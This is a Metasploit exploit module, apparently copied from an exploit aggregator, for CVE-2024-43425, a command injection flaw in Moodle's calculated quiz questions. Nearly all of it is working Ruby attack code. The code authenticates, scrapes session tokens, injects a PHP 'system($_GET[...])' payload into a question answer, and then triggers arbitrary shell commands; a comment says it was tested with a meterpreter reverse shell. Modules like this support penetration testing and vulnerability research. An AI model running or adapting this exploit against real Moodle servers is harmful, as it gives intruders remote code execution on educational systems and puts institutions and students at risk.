Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-MOODLE_RCE-
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Moodle Remote Code Execution (CVE-2024-43425)',
        'Description' => %q{
          This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.
          Affected versions include 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11, and earlier unsupported versions.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Michael Heinzl', # MSF Module
          'RedTeam Pentesting GmbH', # Discovery and PoC
        ],
        'References' => [
          [ 'URL', 'https://blog.redteam-pentesting.de/2024/moodle-rce/'],
          [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/'],
          [ 'URL', 'https://moodle.org/mod/forum/discuss.php?d=461193'],
          [ 'CVE', '2024-43425']
        ],
        'DisclosureDate' => '2024-08-27',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Linux Command',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => [ 'linux' ],
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
              'Type' => :unix_cmd
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [EVENT_DEPENDENT],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [true, 'Username to authenticate to the system. Needs to be allowed to add questions to a quiz.']),
        OptString.new('PASSWORD', [true, 'Password for the user']),
        OptInt.new('COURSEID', [true, 'The course ID. Can be retrieved from the URL when the course is selected (e.g., <IP>/moodle/course/view.php?id=3)']),
        OptInt.new('CMID', [true, 'The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course (e.g., <IP>/moodle/mod/quiz/edit.php?cmid=4)']),
        OptString.new('TARGETURI', [ true, 'The URI for the Moodle web interface', '/'])
      ]
    )
  end

  def exploit
    execute_command(payload.encoded)
  end

  def execute_command(cmd)
    print_status('Obtaining MoodleSession and logintoken...')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php?loginredirect=1')
    )

    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
    fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200

    print_good('Server reachable.')

    moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0]
    fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession
    vprint_status("MoodleSession: #{moodlesession}")

    html = res.get_html_document
    logintoken = html.to_s.match(/name="logintoken" value="([^"]+)"/)[1]
    fail_with(Failure::UnexpectedReply, 'logintoken not found.') unless logintoken
    vprint_status("logintoken: #{logintoken}")

    print_status("Authenticating as #{datastore['USERNAME']}...")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php'),
      'headers' => {
        'Cookie' => "MoodleSession=#{moodlesession}",
        'keep_cookies' => true
      },
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'anchor' => nil,
        'logintoken' => logintoken,
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    )

    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res

    moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0]
    fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession
    vprint_status("MoodleSession: #{moodlesession}")

    moodleid1 = res.get_cookies.scan(/MOODLEID1_=([^;]+)/).flatten[1]
    fail_with(Failure::UnexpectedReply, 'MOODLEID1_ not found.') unless moodleid1
    vprint_status("MOODLEID1_: #{moodleid1}")

    html = res.get_html_document
    fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('index.php?testsession=')
    print_status('Successfully authenticated.')
    testsession = html.to_s.match(/index\.php\?testsession=(\d+)/)[1]
    vprint_status("testsession: #{testsession}")

    res = send_request_cgi(
      'method' => 'GET',
      'headers' => {
        'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
      },
      'uri' => normalize_uri(target_uri.path, "moodle/login/index.php?testsession=#{testsession}")
    )

    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
    fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && (html.to_s.include?('/my') || html.to_s.include?('/moodle/'))

    print_status('Obtaining sesskey, courseContextId, and category...')
    vprint_status('Obtaining sesskey...')
    res = send_request_cgi(
      'method' => 'GET',
      'headers' => {
        'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
      },
      'uri' => normalize_uri(target_uri.path, "moodle/mod/quiz/edit.php?cmid=#{datastore['CMID']}")
    )

    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
    fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200

    html = res.get_html_document
    sesskey = html.to_s.match(/"sesskey":"([^"]+)"/)[1]
    fail_with(Failure::UnexpectedReply, 'sesskey not found.') unless sesskey
    vprint_status("sesskey: #{sesskey}")

    course_context_id = html.to_s.match(/"courseContextId":(\d+)/)[1]
    fail_with(Failure::UnexpectedReply, 'courseContextId not found.') unless course_context_id
    vprint_status("courseContextId: #{course_context_id}")

    category = html.to_s.match(/;category=(\d+)/)[1]
    fail_with(Failure::UnexpectedReply, 'category not found.') unless category
    vprint_status("category: #{category}")

    print_status('Injecting command...')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'moodle/question/bank/editquestion/question.php'),
      'headers' => {
        'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
      },
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'initialcategory' => '1',
        'reload' => '1',
        'shuffleanswers' => '1',
        'answernumbering' => 'abc',
        'mform_isexpanded_id_answerhdr' => '1',
        'noanswers' => '1',
        'nounits' => '1',
        'numhints' => '2',
        'synchronize' => nil,
        'wizard' => 'datasetdefinitions',
        'id' => nil,
        'inpopup' => '0',
        'cmid' => datastore['CMID'].to_s,
        'courseid' => datastore['COURSEID'].to_s,
        'returnurl' => "/mod/quiz/edit.php?cmid=#{datastore['CMID']}&addonpage=0",
        'mdlscrollto' => '0',
        'appendqnumstring' => 'addquestion',
        'qtype' => 'calculated',
        'makecopy' => '0',
        'sesskey' => sesskey.to_s,
        '_qf__qtype_calculated_edit_form' => '1',
        'mform_isexpanded_id_generalheader' => '1',
        'mform_isexpanded_id_unithandling' => '0',
        'mform_isexpanded_id_unithdr' => '0',
        'mform_isexpanded_id_multitriesheader' => '0',
        'mform_isexpanded_id_tagsheader' => '0',
        'category' => "#{category},#{course_context_id}",
        'name' => Rex::Text.rand_text_alpha(6..10),
        'questiontext[text]' => '<p>{b}</p>',
        'questiontext[format]' => '1',
        'questiontext[itemid]' => rand(424810000..424819999), # '424815274',
        'status' => 'ready',
        'defaultmark' => '1',
        'generalfeedback[text]' => nil,
        'generalfeedback[format]' => '1',
        'generalfeedback[itemid]' => rand(940090000..940099999), # '940093981',
        'idnumber' => nil,
        'answer[0]' => '(1)->{system($_GET[chr(97)])}',
        'fraction[0]' => '1.0',
        'tolerance[0]' => '0.01',
        'tolerancetype[0]' => '1',
        'correctanswerlength[0]' => '2',
        'correctanswerformat[0]' => '1',
        'feedback[0][text]' => nil,
        'feedback[0][format]' => '1',
        'feedback[0][itemid]' => rand(738790000..738799999), # '738798744',
        'unitrole' => '3',
        'penalty' => rand(0.1333333..0.7333333), # '0.3333333',
        'hint[0][text]' => nil,
        'hint[0][format]' => '1',
        'hint[0][itemid]' => rand(562440000..562449999), # '562446571',
        'hint[1][text]' => nil,
        'hint[1][format]' => '1',
        'hint[1][itemid]' => rand(161670000..161679999), # '161675382',
        'tags' => '_qf__force_multiselect_submission',
        'submitbutton' => 'Save+changes'
      }
    )

    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res

    html = res.get_html_document
    fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/question.php?qtype=calculated')

    location_header = res.headers['Location']
    id = location_header && location_header.match(/&id=(\d+)/)
    id = id[1] if id
    fail_with(Failure::UnexpectedReply, 'ID not found.') unless id
    vprint_status("id value: #{id}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'moodle/question/bank/editquestion/question.php?wizardnow=datasetdefinitions'),
      'headers' => {
        'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
      },
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'id' => id.to_s,
        'inpopup' => '0',
        'cmid' => datastore['CMID'].to_s,
        'courseid' => datastore['COURSEID'].to_s,
        'returnurl' => "/mod/quiz/edit.php?cmid=#{datastore['CMID']}&addonpage=0",
        'mdlscrollto' => '0',
        'appendqnumstring' => 'addquestion',
        'category' => "#{category},#{course_context_id}",
        'wizard' => 'datasetitems',
        'sesskey' => sesskey.to_s,
        '_qf__question_dataset_dependent_definitions_form' => '1',
        'dataset[0]' => '0',
        'dataset[1]' => '1-0-x',
        'synchronize' => '0',
        'submitbutton' => 'Next+page'
      }
    )

    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res

    html = res.get_html_document

    fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/')

    cmd2 = URI.encode_www_form_component(cmd)
    res = send_request_cgi(
      'method' => 'GET',
      'headers' => {
        'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
      },
      'uri' => normalize_uri(target_uri.path, "/moodle/question/bank/editquestion/question.php?id=#{id}&category=#{category}&cmid=#{datastore['CMID']}&courseid=#{datastore['COURSEID']}&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D#{datastore['CMID']}%26addonpage%3D0&appendqnumstring=addquestion&mdlscrollto=0&a=#{cmd2}")
    )

    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
  end
end